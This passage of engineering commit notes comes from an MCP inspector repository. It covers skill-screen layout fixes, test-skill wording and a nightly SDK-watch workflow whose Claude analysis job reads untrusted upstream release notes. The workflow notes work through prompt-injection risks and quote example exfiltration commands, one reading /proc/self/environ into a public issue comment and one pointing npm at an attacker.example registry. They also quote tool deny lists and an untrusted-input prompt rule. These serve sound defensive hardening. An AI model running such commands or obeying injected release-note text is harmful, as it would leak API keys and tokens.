It calls `ensureTestServers({ requires: ["stdio"] })` and hands the built fixture to the TUI as its catalog's stdio command (scripts/smoke-tui.mjs:105-124) — which means the staleness hazard, the single most expensive thing in `test-servers`, lands on it in full. Connecting was the wrong sole condition. The trigger is now "does this test **connect to, or build and consume**, an MCP fixture?", with `smoke:tui` named at all three decision points and the fixture-consumption case given its own paragraph in the closing section. 2. The "29 of 74" figure was brittle and I could not reproduce it against a different pattern: 29 by my grep, 32 by a direct `@modelcontextprotocol/inspector-test-server` import, 39 by a wider union. A number whose value is a function of the grep does not belong in a skill body that nobody re-runs.

"Anything that puts a built fixture on disk" matches every web test, not the case it was written for: `clients/web`'s `pretest` runs `test-servers:build` ahead of every unit run, so the fixture is on disk for the pure parser and storage tests the very next paragraph excludes. The trigger contradicted its own exclusion list. Re-keyed to depending on the artefact — the test imports, spawns, or points a config at it — with the pretest fact stated as its own ⚠️ so the distinction is legible rather than implied. 2. The closing section still said the fixture-consuming case needs "a real server over a real transport" and a protocol era, which is exactly false for the build-only consumer round 3 added. `smoke:tui` drives no transport, so config choice and protocol era do not apply to it — only the build and staleness half does. The condition is now stated once, with two named sub-cases that say which part of `test-servers` each needs: connecting takes the whole procedure, naming-the-artefact takes the build half.

Round 1 rewrote the CHAIN_THRESHOLD comment to say a well-shaped pointer "does clear 0.8" and cited 100%/80% as the evidence. This threshold is compared with `>`, so 80% would FAIL an 0.8 bar; the example refuted the sentence it was offered in support of. It was also stale: 100%/80% was an intermediate build, and the shipped state measures 100%/100%. Both copies now cite 100%/100% as the clearing evidence and keep 100%/80% only as the residual-noise figure, saying explicitly that it is not an example of clearing the bar. While checking the claim I found the docs copy needed the same care for a different reason: `passesThreshold` is strict for the chain and INCLUSIVE for the first move (`rate > t` vs `rate >= t`, skill-eval.mjs :558), and 0.8 is the constant for the inclusive one. So "0.8 is compared strictly" is false as literally read. The docs now say a *chain* bar of 0.8 would be the strict one, name the operator for both, and spell out the consequence at RUNS=5 — only 5/5 passes, 4/5 does not. No functional change; CHAIN_THRESHOLD is still 0.5, still strict.

Round 6 was committed with `git add -A` while `local:gate` was mid-run, so the staged snapshot caught the probe in place and shipped it. The consequence is exactly what the gate exists to prevent: a Node built-in in the normal browser graph, which makes the gate fail every Vite build from here on. CI could not have passed. `main.tsx` is restored byte-for-byte to its v2/main content; no other file was affected. The transferable lesson, and the reason this is its own commit rather than a squash: **never stage with `git add -A` while the gate is running.** `verify:build-gate` mutates a tracked source file for the length of one build, and that window is wide enough to catch.

Connecting still is not the condition. A few integration tests deliberately hand-roll a JSON-RPC server because the composable fixture *cannot* produce what they assert on — `inspectorClient-malformed-list.test.ts` says so in its own header: "the SDK's own server cannot emit these shapes: they are exactly what its types forbid". Same for `listSalvage-era.test.ts`. Real transport, real client, zero `test-servers/` dependency. Round 4 already stated the right condition at the top — "does this test depend on a fixture from `test-servers/`" — and then three downstream sites went on saying "connects". Those are now scoped to fixture use, and the hand-rolled exception is stated where the trigger is defined rather than left to be discovered, with both files named. Connecting is kept as a hint, since it usually does imply a fixture, with the instruction to check whether one can express the case first. 2. "description-strength measurement" was the wrong surface, and this PR is what made it wrong: a chained prompt is deliberately written so the target's *description* cannot fire on it, so the number measures the pointer in the first skill's body and nothing else. Left as-is it would send the next person tuning a red hand-off at the description. 3. "an 0.8 bar" -> "a 0.8 bar". Re-measured: 100% / 100% hand-off, 63/63 first-move at 100%, RUNS=5. Staged by explicit path, not `git add -A` — see ec6895a5.

It is now a flex column that does not scroll as a whole. Conformance, Resources, Frontmatter and Skill Resource are four collapsible sections of one `disclosure` accordion, and the file viewer claims the remaining height and scrolls internally. The viewer's flex-basis is 0, not auto, and that is load-bearing: `auto` makes an item's basis its content height, and a rendered document is ~1,795px for the data-analysis fixture. That basis joined the sum the container distributes, over-constraining the column so the shrink factors crushed the siblings — Conformance to a 2px panel, Resources to zero — with their contents spilling over the headers below. Collapsing the viewer removed the giant basis, so the symptom appeared on collapse-then-reopen. Open sections also carry a `mih` floor, since the disclosure CSS sets `min-height: 0` on an active item. Frontmatter now follows the displayed file rather than the selected skill. Both halves come from one `splitSkillFile` call, so the section and the viewer cannot disagree, and a file with no frontmatter renders no section at all. Also: SKILL.md loads on selection (a `resources/read` is not a load under SEP-2640), the manifest highlights on hover with each URI a button that swaps the viewed file, both whole-skill actions moved to the pane header, and the Conformance badge goes yellow for a warnings-only entry instead of green. Flat CSS properties moved out of call sites into theme variants (ThemeText gains four; a new ThemeTable takes the manifest font size).

Because the banner is centered with `left: 50%` plus a `translate(-50%, -50%)`, a viewport narrower than 420px made it overflow *both* edges equally — clipping the close button on one side and "Authorize again" on the other, which are the only two controls it has. Losing both is a dead end rather than a cosmetic clip, since dismissing is not equivalent to re-authorizing ("Authorize again" also clears the stale OAuth state). It is reachable on a narrow desktop window too, not only a phone: the element is `fixed`-positioned against the viewport. The width is now capped rather than fixed — `maw={420}` with `w="calc(100vw - 2rem)"` — so the banner shrinks with a 1rem gutter on each side and the shadow and radius still read. The same constant also carried `transform` and `zIndex` as flat CSS in component-level `styles`. Mantine exposes neither as a style prop, but that argues for the next tier in the repo's preference order — a theme variant — not for inline `styles`. Both move to a `reauth` variant in `theme/Paper.ts`, alongside the existing `code`, `contained` and `panel` variants.

By then the client swap has completed and the new session may already have `show`n the same id (both hooks derive ids from data — the progress token, the task id — so a reconnect replaying the same call reproduces them exactly). The stale `onClose` then deleted the *new* session's entry, so the next tick took the `show` branch instead of `update`, Mantine refused the duplicate id, and the toast froze at its last progress before auto-closing. Assign a fresh `Set` in the cleanup instead, so the outgoing session's callbacks mutate only the outgoing session's Set. The teardown comments now say why the swap is a swap and not a clear, since the distinction is invisible otherwise. Each hook gains a regression test that fires the captured `onClose` by hand after the new session has re-shown the id — no timers needed, since that call *is* the late fire. Both fail against `clear()` and pass against the swap.

All three now render in Conformance. That also resolves the first Copilot finding structurally rather than with the cap it suggested. The free-standing `skills/get` region had a content-sized basis competing with an accordion whose basis was 0, so a large fetched entry starved the accordion; moving the verdict inside deletes the competing region entirely, and `FetchResultScroll` goes with it. A red `N digest mismatch(es)` badge joins the errors/warnings badge, kept separate because it is a runtime result — folding it into the error count would make that number change meaning after a click. Conformance auto-collapses for an entry with no findings and auto-opens whenever a verification, a fetch or a new selection gives it something to say. Its badge is yellow for a warnings-only entry; green read as "nothing to see". A dynamic skill states its case once: the prose banner moves into Conformance and the Resources section is dropped entirely, while the finding still counts toward the warning total. The second Copilot finding is fixed as suggested. Frontmatter splitting keyed on the payload arm rather than the MIME, so a markdown blob kept its frontmatter while a multi-document YAML file lost its first document. It now keys on an effective MIME, with `inferMimeFromUri` extracted to `src/utils/` and shared with `ResourcePreviewPanel` instead of duplicated. Also: `Verify` gets its own table column so the buttons align rather than tracking the verdict badge's width; the header actions take `ListChangedIndicator`'s Refresh style and expand/collapse-all uses the shared `ListToggle`; the `skills/get` copy no longer implies the entry defines the rule it breaks; findings move below the JSON they annotate; and section spacing moves into the `skillSections` accordion variant.

The `text/markdown` fallback applied to every manifest resource, but SEP-2640 expects a manifest to carry supporting scripts, examples and assets with types of their own — an extensionless, untyped blob was being decoded and rendered as markdown rather than falling back to binary. The fallback is now scoped to the skill's own SKILL.md; anything else passes `undefined` and lets ContentViewer apply its octet-stream/text default. `mismatchCount` counts `status: "mismatch"`, which `verifySkillResource` uses for both digest AND size failures, so the badge misreported a size-only failure as a digest mismatch. Renamed to "N mismatch(es)" rather than filtering: a size failure is a real verification failure and dropping it from the count would hide it. The alerts still distinguish the two by title. `isMarkdownMime` compared the raw string, so `text/markdown; charset=utf-8` and any casing variant were rejected. That silently skipped the frontmatter split — the fence stayed in the rendered document and the Frontmatter section vanished, for a perfectly valid response. It now normalises to the base lowercase type. The flex-basis regression this refactor exists to fix had no browser-level guard: the unit tests only inspect accordion state, and the long test-server fixture is never exercised by Storybook. `LongSkillDocument` is modelled on `ResourcesScreen`'s `ManyResources` and asserts that every section keeps a non-zero height, that sections tile without overlapping the header below, that the viewer scrolls within its own panel, that the detail pane does not scroll as one column, and that collapse-then-reopen restores identical geometry — the sequence the original bug needed in order to show itself.

Precedence was `declared ?? inferred`, so a server serving SKILL.md as `text/plain` or `application/octet-stream` defeated the `.md` inference — and `ResourcePreviewPanel` already records that servers commonly do exactly that. The file was then not recognised as markdown, so its YAML frontmatter stayed in the viewer and the Frontmatter section disappeared, for a perfectly valid skill. A SPECIFIC declared type still wins, because a server that says `text/csv` knows its own resource. Only the generic types yield to the suffix, via a new `isGenericMime` that normalises parameters and casing the same way `isMarkdownMime` does. Both directions are covered: `text/plain` on a `.md` URI splits, `text/csv` on a `.md` URI does not. The round's other finding — that `DetailCard` is not a flex container, so the detail column has no definite height — is declined as a false positive, with evidence on the thread: Mantine's own Card.css sets `display: flex; flex-direction: column` on the card root, `DetailCard` still carries `h: "100%"`, and the `LongSkillDocument` story added last round asserts the exact behaviour claimed broken, in a real browser.

Both findings arrived in the review's *suppressed* block with zero inline comments, so a round that reported "0 new comments" was in fact carrying two real defects. `useValueChange` deliberately does not fire on the first render, so the clean-entry auto-collapse it drives never applied to a screen that MOUNTS with a skill already selected — a restored `SkillsUiState` does exactly that, and Conformance would sit expanded until some later selection change started honouring the rule. The rule was written entirely in the change handler and the initial state was never considered. `openSections` now seeds through `initialOpenSections`, applying the same judgement up front while the render-time synchronisation continues to handle every subsequent change. The Resources panel still held `selected.resources === DYNAMIC_RESOURCES ? … : …` inside a `{!isDynamic && …}` guard, and `isDynamic` is that exact comparison, so the alert arm was unreachable. It is residue from moving the dynamic banner into Conformance: the outer guard was added and the inner ternary never removed. The manifest table now renders directly.

Refusing to shrink (`0 0 auto`) was introduced to stop a squeezed section slicing its content mid-line. It did that, and reintroduced the original defect at scale: a CONFORMING manifest may declare 512 rows, and a section holding its full intrinsic height pushes the file viewer off the bottom of the pane, so reaching the file means scrolling past the manifest — precisely the "the file is behind the manifest" problem this screen was refactored to end. `0 1 auto` with the existing `OPEN_SECTION_MIN_HEIGHT` floor satisfies both: a section gives up space until it reaches the floor, its panel scrolls internally from there, and the viewer keeps the remainder. The floor is what stops the shrink becoming the crush that sliced content — a panel at the floor scrolls rather than clips. Both wrong directions are now recorded on the constant so neither is re-derived. `LongManifest` is the sibling story to `LongSkillDocument`, asserting that the viewer's header stays within the card, that the Resources panel scrolls internally, and that the pane does not scroll as one column. Verified to detect the defect rather than merely pass: with `0 0 auto` restored it fails while the other eight stories pass.

"Expand all" wrote `sectionIds` — the sections rendered at that instant — into `openSections`, which outlives any one skill. Pressing it while the SKILL.md read was still in flight dropped `frontmatter`, so the section arrived collapsed with the control offering to expand all over again; a dynamic skill did the same to `resources`. It now expands to the complete set, and `sectionIds` decides only the toggle's label. The new test is verified to detect the defect: with `sectionIds` restored it fails. `inferMimeFromUri` matched the raw path, so a percent-encoded suffix such as `reference%2Emd` produced no MIME at all — no markdown renderer and no frontmatter split — even though `skillUriIdentity` already treats that spelling as the same file. It now decodes defensively, falling back to the raw path on a malformed escape rather than throwing inside what is only a guess. Two comment fixes, both cases of a deliberate decision being contradicted by the prose around it. `theme/Accordion.ts` still asserted "sized to content and never shrink; overflow moves to the root" after round 5 moved the sections back to `flex: 0 1 auto` with a floor — the exact stale rationale that makes a load-bearing layout easy to regress. And the component doc, the `onReadSkillFile` doc in `useServerCommands.tsx` and a `test-servers` fixture comment all still said skill files are read only when the user asks to verify them, one of them still naming the removed "View SKILL.md" button.

The keyed writes discard those results, but an open-state update is not keyed to a manifest, so obsolete work could reopen the section on the newly selected skill. The section is now opened at the two USER entry points — the row button and "Verify all" — through `openConformance`, and `verifyRow` carries a note saying why it must not do it itself. The skill description was an unbounded sibling of a zero-basis accordion in the pane's fixed header. SEP-2640 permits 1,024 characters and a non-conforming server can send more; in a narrow pane that wraps far enough to crowd the sections out — the same "server-controlled content sizes the layout" trap `viewerFlex` documents. Clamped to three lines, with the full text on a `title`. `inferMimeFromUri` matched against the whole URI minus query and fragment, so an authority ending in a mapped suffix was read as a filename: `https://documentation.md` returned Markdown despite a pathname of `/`. It now inspects `URL.pathname`, keeping the string fallback for URIs that cannot be parsed. And its decoding was too coarse. `decodeURIComponent` throws not only on a malformed escape but on a syntactically valid octet that is not valid UTF-8, so a single `%FF` anywhere in the path abandoned decoding for the whole string and `skill://a/%FF/reference%2Emd` lost its `%2E`. Each escape run is now decoded independently, and a run that is not valid UTF-8 falls back to decoding its ASCII octets one at a time — all suffix matching needs. Both behavioural fixes carry regression tests verified to fail with the defect restored.

It is the fourth instance of a pattern named in this PR's own round-7 reply — anything server-controlled and variable-height that sits beside the zero-basis accordion sizes the layout — and it was directly above the description clamped last round, which says something about naming a class not being the same as sweeping for it. So this audits the whole header rather than the reported element. All three server-controlled strings are now bounded: the name truncates (already did), the URI clamps to two lines, the description to three, and both clamps carry the full value on a `title`. `HostileHeader` asserts the class is closed — a long name, a 30-segment URI and a 400-word description, with the accordion still taking more than half the card, every section non-zero, and the pane not scrolling. That new story then caught an accessibility defect this refactor introduced and would otherwise have shipped: `scrollable-region-focusable`. Making each panel its own scroll container means a panel whose content holds no focusable element — the Conformance alerts, for instance — cannot be scrolled by keyboard at all. Every `Accordion.Panel` now carries `tabIndex={0}`. The geometric assertion lives in Storybook rather than the unit test, because a CSS bound is not observable through happy-dom's `getComputedStyle`; the unit test pins the contract that makes clamping safe instead — the full value stays reachable on a `title`.

The Skill Resource control shows the displayed file's name, and that control is PINNED — it never scrolls — so a resource URI ending in a long breakable segment grew the header. Fifth instance of the same class. It took three attempts, and the mutation table is what exposed each one. `lineClamp: 1` stopped the text wrapping but the row then wrapped the caption onto its own line (+30.6px), because flexbox wraps before it shrinks. A `nowrap` row improved that to +21.7px but Mantine's Accordion label wrapper still would not let the caption shrink, so `miw: 0` had nothing to act on. A hard `maw: "50%"` gives the ellipsis a definite width, and the control now grows by 0px. Worth recording that the FIRST version of that guard passed against the defect: it asserted an absolute `height < 120px`, which an unclamped name satisfies because it only wraps to a few lines. Comparing the control against its own baseline — measured with a short name, then re-measured after selecting the hostile one — is what makes it detect anything at all. Second finding: `SkillDescription` carried `size: "sm"`, leaving typography at the call site directly beneath a comment of mine asserting that these constants carry layout only and that typography belongs in a `ThemeText` variant. Added a `skillDescription` variant; only the clamp stays here.

It did not: `ContentViewer`'s plain-text branch pretty-prints anything that parses as JSON, and every JSON mapping is also valid YAML — so `{"name":"a"}` came back re-serialised beneath a comment promising verbatim bytes. For a conformance tool that is the one thing it must not do. It now renders through `CodeHighlight` directly. The green alert was titled "Conforms". Consolidating every verdict into this one section means it can sit directly above a red digest mismatch, where an unqualified "Conforms" contradicts the result on screen — the static checks passing says nothing about the bytes. Retitled "No structural issues", which is what it actually summarises. The contradiction was created by the consolidation and the title was never revisited.

Panel scroll positions survived a skill change. `scrollTop` lives on the DOM node rather than in React state, so switching between two long manifests showed the new one part-way down with its first rows hidden, which reads as missing data. The accordion is keyed by `manifestKey` so every panel gets a fresh scroll container; `openSections` is controlled and survives. ⚠️ The test for the first fix is a SPECIFICATION, not a regression guard, and is labelled as such in the file. It was written, then checked by removing the guard — and it still passed. Three shapes were tried (a plain re-render, a StrictMode wrapper, StrictMode with the selection present at mount) and none reproduce the replay, because this environment does not double-invoke mount effects. The fix stands on the reported reasoning; the test pins the contract of one read per selection and must not be read as evidence the defect is fixed.

When the selected entry left `skills` — a refresh in flight, a disconnect — the render emptied the preview but the ref kept the key. An identical entry reappearing therefore matched the cache, the automatic read was skipped, and the viewer stayed blank with no recovery short of reselecting. Clearing the guard while no entry is selected is what lets the reappearance re-read. Also corrects the guard's stated scope. It cannot survive a `ScreenStage` remount — a remount mints a fresh ref — so the round-11 comment claiming it did was wrong. That read is correct behavior rather than a gap: `previewState` is local state and dies with the same unmount, so on return the viewer is empty and the read is what refills it. Suppressing it would mean hoisting the preview bytes above `ScreenStage` and showing bytes fetched under a connection that may no longer exist. The reappearance test is a real regression guard: restoring the defect fails it while the older one-read-per-selection test still passes, so it is both detecting and non-redundant. That older test remains a specification, for the reason it already states, and now points at this one.

This adds the third of this repo's issue-filing sweeps, after the monthly dependency refresh (#2229) and the daily Dependabot alert sweep (#2233), following the same shape as both: npm registry -> sweep -> issue -> Opus analysis comment -> maintainer PR scripts/sdk-watch.mjs compares the @modelcontextprotocol/* packages installed on v2/main against the registry and files one tracking issue per upstream that is behind — labeled v2 + chore + dependencies, and milestoned to the nearest dated open bucket. Four design points, each verified against this repo first: * Two upstreams, two issues. client/core/server/server-legacy ship from typescript-sdk in lockstep; ext-apps ships from its own repo. * The comparison is against the INSTALLED version, not the declared range. ext-apps is `^1.7.4` with 1.7.5 already in the lockfile, so comparing the declared string would file an issue for a bump `npm install` has already taken. * A fifth @modelcontextprotocol/* package added to the root manifest and not added to SDK_GROUPS fails the sweep loudly, rather than going unwatched behind a green run. * No board write and no issue closing. No PROJECT_TOKEN exists in this org, so the issue arrives labeled and milestoned for /issue-triage to board — as dependency-refresh.mjs already does. A further release files its own issue and leaves a supersession comment on the older one; closing stays a maintainer act. The analysis half runs Claude, not Copilot. #1063 sketched "a copilot agent running Opus", and neither half of that is reachable from a workflow: assigning copilot-swe-agent produces a pull request — the artifact #2229/#2233/#2235 removed from this repo — and its model cannot be selected programmatically, since replaceActorsForAssignable takes no model parameter. So the analyze job uses anthropics/claude-code-action with --model claude-opus-5, told to post one comment and denied every file-writing tool, running on the ANTHROPIC_API_KEY org secret. It runs only over issues the sweep just created, which holds it to one analysis per release rather than a near-identical comment every night. Upstream release notes are untrusted input to that job, so its system prompt says so and its --allowedTools list is a whitelist with no Edit, Write or git; the job's token carries contents: read only. 36 tests cover the pure halves directly and main() through an injected spawn, with the silent-failure cases first: a registry error must not report a clean sweep, and an already-filed target must not refile.

An issue closed for the same target keeps suppressing it, so a maintainer's "not planned" is not re-argued nightly. + +**The analysis half runs Claude, not Copilot, and that is deliberate.** #1063 sketched "a copilot agent running Opus"; neither half of that is reachable from a workflow. Assigning `copilot-swe-agent` produces a **pull request** — the artifact this whole section exists to remove — and its model cannot be selected programmatically at all (`replaceActorsForAssignable` takes no model parameter; absent an admin-configured picker it runs Sonnet). So the `analyze` job uses `anthropics/claude-code-action` with `--model claude-opus-5`, which is told to post **one comment** and is denied every file-writing tool. It runs on `ANTHROPIC_API_KEY`, an **organization** secret already available to this repo, and only over issues the sweep **just created** — never over one that already existed, which is what keeps it to one analysis per release instead of a near-identical comment every night. + +⚠️ **Upstream release notes are untrusted input to that job.** It reads text this repo does not control, so its system prompt says so explicitly and its `--allowedTools` list is a whitelist with no `Edit`/`Write` and no `git`. The job's token carries `contents: read` only, so a successful injection still cannot write code. Keep both of those properties when editing the prompt. + ## Contributing External contributions are accepted as **issues, not pull requests** — maintainers handle design and implementation through a prompt-driven workflow. diff --git a/README.md b/README.md index 42ae110b0..e964862fc 100644 --- a/README.md +++ b/README.md @@ -54,7 +54,7 @@ inspector/ ├── core/ Shared code consumed via the `@inspector/core` alias (no package.json) ├── test-servers/ Composable MCP test servers + fixtures used by integration and smoke tests ├── scripts/ Root build/verify tooling (install cascade, smokes, the verify:* guards) -│ and repo automation run from CI (the dependency and Dependabot-alert sweeps) +│ and repo automation run from CI (the dependency, Dependabot-alert and SDK sweeps) ├── docs/ Task-oriented guides — see below ├── specification/ Design/build specifications ├── .claude/skills/ Agent skills: the repo's procedures, invokable by name diff --git a/scripts/sdk-watch.mjs b/scripts/sdk-watch.mjs new file mode 100644 index 000000000..25c09cd3e --- /dev/null +++ b/scripts/sdk-watch.mjs @@ -0,0 +1,559 @@ +#!/usr/bin/env node +// Nightly MCP SDK watch (#1063). +// +// Staying abreast of SDK releases had been a manual habit rather than a +// mechanism, which is what #1063 was filed to fix.

The cause is ambient environment, not the code under test: `main`'s `repo` parameter defaults to `process.env.GITHUB_REPOSITORY`, which is UNSET on a developer machine and SET on every Actions runner. Passing `undefined` therefore exercised that default, so the throw happened locally and did not on CI. `npm run local:gate` is a strict superset of CI's STAGES but not of its ambient environment, so nothing local could have caught this. The test now clears the variable around the assertion and restores it, which makes both environments test the same thing. The same defaulting applies to `output`, whose default is `process.env.GITHUB_OUTPUT` — a real file on a runner, the one the job's own outputs are read from. Every throwing case now pins it to `undefined` via a `noAmbientOutput` helper. Nothing is written today because these cases throw before the emit, but leaving the default in place means a future case that stops throwing would append `filed=…` to the live job output instead of failing an assertion. Verified both ways: the suite is green with the variables unset, and green with GITHUB_REPOSITORY and GITHUB_OUTPUT set as a runner sets them — 574/574 across all of `scripts/`, with no file created at the GITHUB_OUTPUT path.

The analysis job's tool grant was too broad. `Bash(gh api:*)` against a token holding `issues: write` would have let an injected instruction PATCH, close or relabel any issue in the repo — and this agent reads untrusted upstream release notes by design, so the prose constraints in the prompt are not a control. `gh api` is gone; the two mutating-capable commands are pinned to the matrix issue by NUMBER, so a call against any other issue does not match the prefix and is denied. `--disallowedTools` now names the file-writing tools and `git`/`gh pr`/`gh issue edit`/`gh issue close` explicitly, so a later edit that widens the whitelist cannot silently restore them. The prompt states the exact command shape the grant permits. 2. Targeting the highest `latest` in a lockstep group was wrong in both directions. npm publishes a release one package at a time, so a sweep landing mid-publish would have told maintainers to move all four packages to a version three of them do not have — and written a marker for that version, which would then suppress the real filing once the publication completed, so the release would never be tracked at all. The target is now the LOWEST `latest` across the group: the newest version the whole group has actually reached. That stays actionable during a partial publish (on 2.0.0 it files 2.1.0 rather than going silent), waits correctly when only the in-flight half is ahead, and produces a different marker when the publish completes so the real release gets its own issue. The body explains itself when a `Latest` in the table sits above the target. 3. A failure after an irreversible issue creation lost the issue. The sweep exited before emitting `filed`, so the issue never reached the analysis job — and the next night's retry would match its own marker, emit `[]`, and leave it permanently unanalyzed with nothing left to notice. Each group is now isolated, `filed` is appended the moment an issue exists, and the emit happens in a `finally`. The run still fails afterwards, loudly, but never at the cost of the record. The analyze job's gate changed to match: it consumes `filed` whenever the sweep named something, whether or not the sweep job itself went green. Fixing 3 exposed a second instance of the bug CI caught earlier: the test helper passed `output: undefined` to suppress the emit, but a destructuring default fires on `undefined`, so it selected `process.env.GITHUB_OUTPUT` instead of overriding it. Once the emit moved into a `finally`, the throwing cases reached it and leaked a real `filed=[]` into the runner's job-output file. The helper now passes `null`, which suppresses a default and is falsy. Verified by running the suite with `GITHUB_OUTPUT` set and confirming no file is created. Test fixtures that bumped a single package's `latest` were modeling a partial publication without meaning to, so `groupAt`/`latestAt` now make "completed lockstep release" and "publication in flight" separate, named cases. 42 tests in this file, 580 across `scripts/`, green with the runner's environment set and unset.

The first is a security hole introduced by round 1's own fix. 1. The analysis job could have published live secrets. Round 1 pinned `Bash(gh issue comment :*)` to the tracked issue and treated that as scoping, but a `Bash(...)` grant matches a command PREFIX and says nothing about the flags that follow — so `gh issue comment --body-file /proc/self/environ` matched it, and this job's subprocess environment holds ANTHROPIC_API_KEY and GITHUB_TOKEN. A prompt injection from upstream release notes could have posted live credentials into a public issue. The model now has no tool that can write anywhere. It returns its write-up as `--json-schema` structured output, and a deterministic, model-free step posts it: the body arrives through the environment rather than the command line, so nothing in it can be read as a flag or a path, and the issue number comes from the matrix. That step is the only thing in the job holding a token that can write. WebFetch is denied as well. It was not raised, but with `Read` available an outbound fetch the model controls is the same exfiltration channel by another route; `gh release view` already covered the need. The remaining grant is read-only and accepts no attacker-chosen file path. The general rule is now in AGENTS.md rather than only this instance: a prefix grant on any command that accepts a file path is an arbitrary-file read with a publish attached. 2. Issue existence was standing in for analysis completion. A failed or timed-out `analyze` job left an issue the next sweep matched, emitted `[]` for, and reported as a green no-op — so the promised analysis was never retried. The posting step now stamps ANALYSIS_MARKER on its comment, and a sweep finding an existing issue without one re-queues it. The marker is matched with `startsWith`, so a maintainer quoting it cannot suppress the retry. 3. A failed supersession note was unrecoverable. Creation succeeding and the note failing left a state where every retry matched the target's own marker and skipped reconciliation entirely, so the note was never posted. An existing issue is now ADOPTED rather than skipped: the loop takes its number and runs the same follow-up it would for a new one. The existing announced-marker check prevents duplication, and a `stale.number === number` guard stops an issue superseding itself. Findings 2 and 3 share one restructure — replacing the early `continue` with adoption is what gives both the retry path. ANALYSIS_MARKER is necessarily duplicated in the workflow, since the posting step is shell. Drift would be invisible from either file alone and would make every issue read as permanently unanalyzed, so a test asserts the workflow contains the exact constant. Mutation-checked, each failing a different minimal set: if (match) continue; restored -> supersession-retry + re-queue tests hasAnalysis -> always true -> re-queue + hasAnalysis tests workflow marker misspelled -> the drift-guard test 47 tests in this file; `npm run local:gate` green end to end.

Three fixed outright; the fourth is fixed as far as this PR can reach, with the remainder tracked in #2269 rather than papered over. 1. (Suppressed finding, and the most consequential.) The comment lookup was `gh api --jq '.[].body'` split on newlines, which destroyed the comment boundaries — a body is multi-line, so every LINE became its own entry. Both consumers read a line as though it were a whole comment and both use `startsWith`, so a maintainer quoting `` at the start of any line would have permanently convinced the sweep that issue was analyzed, and the retry added in round 2 would never fire for it again. The same held for the supersession marker. `issueComments` now fetches `--paginate --slurp` and parses JSON, mapping whole `body` strings. The test fake was part of the problem — it returned newline-joined text, which made the broken parse look correct because it could never produce a multi-line body — so it now returns the real wire shape, an array of pages of comment objects. Note the round-2 test written for this class checked INLINE quoting and passed. The unit was correct; the transport feeding it was not. 2. A CLOSED matching issue was being re-queued for analysis. Two different questions about the same match had been collapsed into one: whether it suppresses creation (yes, whatever its state — that is why `sweepIssues` reads `--state all`) and whether it should be re-analyzed (only if open). A closed issue has no analysis marker almost by definition, so it was handed to the analyze job and would have drawn a fresh automated comment nightly, re-arguing the "not planned" decision that `--state all` exists to respect. Gated on `match.state === "OPEN"`, with the closed case logged rather than passed over in silence. 3. The docs contradicted the code in three places — AGENTS.md, the workflow header and `formatFiledOutput` all still said analysis runs only for newly created issues. All three now describe the same rule, including both exclusions and why they differ: an already-analyzed issue is excluded to avoid a nightly duplicate, a closed one because closing it was a decision. 4. The model retains a secret-exfiltration path: `claude-code-action` copies its environment into the model's, `Read` is genuinely needed to inspect how `core/` uses the SDK, and `analysis` is model-controlled text this workflow publishes. Removing the write-capable `gh` tools closed the posting channel, not the output channel. Landed here as a BACKSTOP, and labelled as one in the workflow so it is not read as settled: the posting step refuses any analysis containing ANTHROPIC_API_KEY or the job's GITHUB_TOKEN verbatim, matched with shell pattern matching so no secret reaches an argv. An injection that encodes the value defeats it. The real fix is workload identity federation (`anthropic_federation_rule_id` + `id-token: write`, and no `anthropic_api_key` at all), which needs an Anthropic-side federation rule and org UUID that do not exist and cannot be created from a pull request. Filed as #2269 with the exact YAML change and acceptance criteria, boarded at Todo/Medium in v2.6.0. AGENTS.md and the workflow both point at it rather than describing this job as secure. Mutation-checked, each failing exactly one test: newline splitting restored -> the multi-line-comment test `state === "OPEN"` guard removed -> the closed-issue test 49 tests in this file; `npm run local:gate` green end to end.

Two are trust-boundary bugs on a public repo; two are the same class of grant mistake I had already made twice. 1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm accepts `--registry=`, and a Bash grant matches a command PREFIX and constrains nothing after it, so `npm view x --registry=https://attacker.example/` matched the grant. Nothing is published to the issue, so the verbatim output scan cannot see it at all. That is the third instance of one mistake in this review — scoping the command and leaving the flags unbounded — after `Bash(gh api:*)` in round 1 and `--body-file /proc/self/environ` in round 3. The grant is removed (the prompt is handed both versions and takes release notes from `gh release view`), `Bash(npm:*)` joins the deny list, and the general rule is now in AGENTS.md rather than three war stories: a prefix grant constrains the command, never its flags. 2. The model's job held `issues: write`. Permissions are scoped per JOB, not per step, so my round-3 claim that the model only ever saw a `contents: read` token was false while the posting step shared its job. Split into three: `sweep`, `analyze` (`contents: read`, runs the model), `post` (`issues: write`, runs no model). The hand-off is an ARTIFACT rather than a job output, because matrix job outputs collide — every leg writes the same key — which would post one SDK group's write-up onto the other group's issue. A failed analysis leg uploads nothing, which is not fatal: the download is `continue-on-error` and the post is gated on the file existing, and the issue then lands in exactly the un-analyzed state the round-2 retry path picks up. 3. Issue markers were trusted without provenance. This repo is public, so anyone can open an issue whose body starts with the current target's marker — and close it — to suppress the real upgrade issue indefinitely, or use a malformed target to throw in `semver.lt` every run. `sweepIssues` now requires BOTH the automation author (with the `[bot]` suffix normalized, since gh and the REST API spell it differently) and the `chore` + `dependencies` labels an outsider cannot set. Marker targets are validated with `semver.valid`. 4. Comment markers had the same gap, and my round-3 fix had addressed the wrong layer: it stopped splitting comments on newlines but still reduced each to its body, discarding the only field that makes a marker mean anything. `issueComments` now returns `{author, isBot, body}`, and both consumers require the automation — so a forged analysis marker no longer suppresses the retry and a forged supersession marker no longer suppresses the note. Being a bot is not enough; it has to be ours. The test fake mattered more than the assertions here: comment fixtures were plain strings, so every one was implicitly automation-authored and no test could have expressed a forgery at all. Two workflow invariants are now pinned by tests, since both are the kind of thing a later edit undoes by accident: the `analyze` job's permissions are exactly `contents: read` with no posting step, and the `--allowedTools` whitelist mentions none of npm, curl, wget, WebFetch or WebSearch. Mutation-checked, each failing a different set: isSweepAuthored -> true -> 3 tests (unit + 2 e2e) isAutomationComment -> true -> 3 tests (unit + 2 e2e) semver.valid filter removed -> 1 test Bash(npm view:*) restored -> 1 test issues: write re-added to analyze -> 1 test 58 tests in this file; `npm run local:gate` green end to end.

The workflow is therefore **three** jobs: `sweep`, then `analyze` (`contents: read`, runs the model), then `post` (`issues: write`, runs no model). They hand over an **artifact**, not a job output, because matrix job outputs collide — every leg writes the same key — which would post one group's write-up onto the other group's issue.

